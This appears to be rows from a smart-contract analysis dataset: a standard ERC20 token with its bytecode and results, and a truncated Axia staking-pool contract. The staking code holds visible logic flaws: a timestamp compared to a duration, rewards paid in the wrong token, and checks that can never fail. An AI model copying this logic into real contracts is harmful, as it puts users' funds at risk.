"Medium"}]}} | 10,358 |
0xf1c3642515fe55f65545d64970af34175bb67169 | pragma solidity ^0.5.0;
/**
* @notes All the credits go to the fantastic OpenZeppelin project and its community, see https://github.com/OpenZeppelin/openzeppelin-solidity
* This contract was generated and deployed using https://tokens.kawatta.com
*/
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath {
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://eips.ethereum.org/EIPS/eip-20
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev Transfer token to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowances[from][msg.sender].sub(value));
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowances[msg.sender][spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowances[msg.sender][spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Transfer token for a specified addresses.
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0), "ERC20: transfer to the zero address");
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(value));
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract ERC20Burnable is ERC20 {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance.
* @param from address The account whose tokens will be burned.
* @param value uint256 The amount of token to be burned.
*/
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
* @notice Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title ERC20Detailed token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
/**
* @title ERC20 token contract of eProvident
*/
contract ERC20Token is ERC20, ERC20Detailed, Ownable, ERC20Burnable {
uint8 public constant DECIMALS = 4;
uint256 public constant INITIAL_SUPPLY = 1000000000000 * (10 ** uint256(DECIMALS));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor () public ERC20Detailed("eProvident", "EPVT", DECIMALS) {
_mint(msg.sender, INITIAL_SUPPLY);
}
} | 0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad57806395d89b411161007157806395d89b41146104c9578063a457c2d71461054c578063a9059cbb146105b2578063dd62ed3e14610618578063f2fde38b1461069057610121565b806370a08231146103ad578063715018a61461040557806379cc67901461040f5780638da5cb5b1461045d5780638f32d59b146104a757610121565b80632e0f2625116100f45780632e0f2625146102b35780632ff2e9dc146102d7578063313ce567146102f5578063395093511461031957806342966c681461037f57610121565b806306fdde0314610126578063095ea7b3146101a957806318160ddd1461020f57806323b872dd1461022d575b600080fd5b61012e6106d4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f5600480360360408110156101bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610776565b604051808215151515815260200191505060405180910390f35b61021761078d565b6040518082815260200191505060405180910390f35b6102996004803603606081101561024357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610797565b604051808215151515815260200191505060405180910390f35b6102bb610848565b604051808260ff1660ff16815260200191505060405180910390f35b6102df61084d565b6040518082815260200191505060405180910390f35b6102fd61085f565b604051808260ff1660ff16815260200191505060405180910390f35b6103656004803603604081101561032f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610876565b604051808215151515815260200191505060405180910390f35b6103ab6004803603602081101561039557600080fd5b810190808035906020019092919050505061091b565b005b6103ef600480360360208110156103c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610928565b6040518082815260200191505060405180910390f35b61040d610970565b005b61045b6004803603604081101561042557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aab565b005b610465610ab9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104af610ae3565b604051808215151515815260200191505060405180910390f35b6104d1610b3b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105115780820151818401526020810190506104f6565b50505050905090810190601f16801561053e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105986004803603604081101561056257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bdd565b604051808215151515815260200191505060405180910390f35b6105fe600480360360408110156105c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c82565b604051808215151515815260200191505060405180910390f35b61067a6004803603604081101561062e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c99565b6040518082815260200191505060405180910390f35b6106d2600480360360208110156106a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d20565b005b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561076c5780601f106107415761010080835404028352916020019161076c565b820191906000526020600020905b81548152906001019060200180831161074f57829003601f168201915b5050505050905090565b6000610783338484610da6565b6001905092915050565b6000600254905090565b60006107a4848484610f9d565b61083d843361083885600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b390919063ffffffff16565b610da6565b600190509392505050565b600481565b600460ff16600a0a64e8d4a510000281565b6000600560009054906101000a900460ff16905090565b6000610911338461090c85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461123c90919063ffffffff16565b610da6565b6001905092915050565b61092533826112c4565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610978610ae3565b6109ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ab58282611462565b5050565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bd35780601f10610ba857610100808354040283529160200191610bd3565b820191906000526020600020905b815481529060010190602001808311610bb657829003601f168201915b5050505050905090565b6000610c783384610c7385600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b390919063ffffffff16565b610da6565b6001905092915050565b6000610c8f338484610f9d565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d28610ae3565b610d9a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610da381611509565b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e2c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806116dc6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eb2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116996022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611023576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116506023913960400191505060405180910390fd5b611074816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611107816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461123c90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008282111561122b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b6000808284019050838110156112ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806116bb6021913960400191505060405180910390fd5b61135f816002546111b390919063ffffffff16565b6002819055506113b6816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b61146c82826112c4565b611505823361150084600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b390919063ffffffff16565b610da6565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116736026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a72305820b43582c80740a3494ed6f2ba74aa42bdf4411fd49b5ca5feb03b939616828d3664736f6c634300050a0032 | {"success": true, "error": null, "results": {}} | 10,359 |
0x30128d4955993e8cef80577f4210d5ccf3556a94 | /*
* @dev This is the Axia Protocol Staking pool 3 contract (SWAP Pool),
* a part of the protocol where stakers are rewarded in AXIA tokens
* when they make stakes of liquidity tokens from the oracle pool.
* stakers reward come from the daily emission from the total supply into circulation,
* this happens daily and upon the reach of a new epoch each made of 180 days,
* halvings are experienced on the emitting amount of tokens.
* on the 11th epoch all the tokens would have been completed emitted into circulation,
* from here on, the stakers will still be earning from daily emissions
* which would now be coming from the accumulated basis points over the epochs.
* stakers are not charged any fee for unstaking.
*/
pragma solidity 0.6.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract USP{
using SafeMath for uint256;
//======================================EVENTS=========================================//
event StakeEvent(address indexed staker, address indexed pool, uint amount);
event UnstakeEvent(address indexed unstaker, address indexed pool, uint amount);
event RewardEvent(address indexed staker, address indexed pool, uint amount);
event RewardStake(address indexed staker, address indexed pool, uint amount);
//======================================STAKING POOLS=========================================//
address public Axiatoken;
address public UniswapV2;
address public administrator;
bool public stakingEnabled;
uint256 constant private FLOAT_SCALAR = 2**64;
uint256 public MINIMUM_STAKE = 1000000000000000000; // 1 minimum
uint256 public MIN_DIVIDENDS_DUR = 86400;
uint public infocheck;
struct User {
uint256 balance;
uint256 frozen;
int256 scaledPayout;
uint256 staketime;
}
struct Info {
uint256 totalSupply;
uint256 totalFrozen;
mapping(address => User) users;
uint256 scaledPayoutPerToken; //pool balance
address admin;
}
Info private info;
constructor() public {
info.admin = msg.sender;
stakingEnabled = false;
}
//======================================ADMINSTRATION=========================================//
modifier onlyCreator() {
require(msg.sender == info.admin, "Ownable: caller is not the administrator");
_;
}
modifier onlyAxiaToken() {
require(msg.sender == Axiatoken, "Authorization: only token contract can call");
_;
}
function tokenconfigs(address _axiatoken, address _univ2) public onlyCreator returns (bool success) {
Axiatoken = _axiatoken;
UniswapV2 = _univ2;
return true;
}
function _minStakeAmount(uint256 _number) onlyCreator public {
MINIMUM_STAKE = _number*1000000000000000000;
}
function stakaingStatus(bool _status) public onlyCreator {
stakingEnabled = _status;
}
function MIN_DIVIDENDS_DUR_TIME(uint256 _minDuration) public onlyCreator {
MIN_DIVIDENDS_DUR = _minDuration;
}
//======================================USER WRITE=========================================//
function StakeAxiaTokens(uint256 _tokens) external {
_stake(_tokens);
}
function UnstakeAxiaTokens(uint256 _tokens) external {
_unstake(_tokens);
}
//======================================USER READ=========================================//
function totalFrozen() public view returns (uint256) {
return info.totalFrozen;
}
function frozenOf(address _user) public view returns (uint256) {
return info.users[_user].frozen;
}
function dividendsOf(address _user) public view returns (uint256) {
if(info.users[_user].staketime < MIN_DIVIDENDS_DUR){
return 0;
}else{
return uint256(int256(info.scaledPayoutPerToken * info.users[_user].frozen) - info.users[_user].scaledPayout) / FLOAT_SCALAR;
}
}
function userData(address _user) public view
returns (uint256 totalTokensFrozen, uint256 userFrozen,
uint256 userDividends, uint256 userStaketime, int256 scaledPayout) {
return (totalFrozen(), frozenOf(_user), dividendsOf(_user), info.users[_user].staketime, info.users[_user].scaledPayout);
}
//======================================ACTION CALLS=========================================//
function _stake(uint256 _amount) internal {
require(stakingEnabled, "Staking not yet initialized");
require(IERC20(UniswapV2).balanceOf(msg.sender) >= _amount, "Insufficient SWAP AFT balance");
require(frozenOf(msg.sender) + _amount >= MINIMUM_STAKE, "Your amount is lower than the minimum amount allowed to stake");
require(IERC20(UniswapV2).allowance(msg.sender, address(this)) >= _amount, "Not enough allowance given to contract yet to spend by user");
info.users[msg.sender].staketime = now;
info.totalFrozen += _amount;
info.users[msg.sender].frozen += _amount;
info.users[msg.sender].scaledPayout += int256(_amount * info.scaledPayoutPerToken);
IERC20(UniswapV2).transferFrom(msg.sender, address(this), _amount); // Transfer liquidity tokens from the sender to this contract
emit StakeEvent(msg.sender, address(this), _amount);
}
function _unstake(uint256 _amount) internal {
require(frozenOf(msg.sender) >= _amount, "You currently do not have up to that amount staked");
info.totalFrozen -= _amount;
info.users[msg.sender].frozen -= _amount;
info.users[msg.sender].scaledPayout -= int256(_amount * info.scaledPayoutPerToken);
require(IERC20(UniswapV2).transfer(msg.sender, _amount), "Transaction failed");
emit UnstakeEvent(address(this), msg.sender, _amount);
}
function TakeDividends() external returns (uint256) {
uint256 _dividends = dividendsOf(msg.sender);
require(_dividends >= 0, "you do not have any dividend yet");
info.users[msg.sender].scaledPayout += int256(_dividends * FLOAT_SCALAR);
require(IERC20(UniswapV2).transfer(msg.sender, _dividends), "Transaction Failed"); // Transfer dividends to msg.sender
emit RewardEvent(msg.sender, address(this), _dividends);
return _dividends;
}
function StakeDividends() external returns (uint256) {
uint256 _dividends = dividendsOf(msg.sender);
require(_dividends >= 0, "you do not have any dividend yet");
info.users[msg.sender].scaledPayout += int256(_dividends * FLOAT_SCALAR);
require(IERC20(Axiatoken).transfer(msg.sender, _dividends), "Transaction Failed"); // Transfer dividends to msg.sender
_stake(_dividends);
emit RewardStake(msg.sender, address(this), _dividends);
return _dividends;
}
function scaledToken(uint _amount) external onlyAxiaToken returns(bool){
info.scaledPayoutPerToken += _amount * FLOAT_SCALAR / info.totalFrozen;
infocheck = info.scaledPayoutPerToken;
return true;
}
function mulDiv (uint x, uint y, uint z) public pure returns (uint) {
(uint l, uint h) = fullMul (x, y);
assert (h < z);
uint mm = mulmod (x, y, z);
if (mm > l) h -= 1;
l -= mm;
uint pow2 = z & -z;
z /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint r = 1;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
return l * r;
}
function fullMul (uint x, uint y) private pure returns (uint l, uint h) {
uint mm = mulmod (x, y, uint (-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
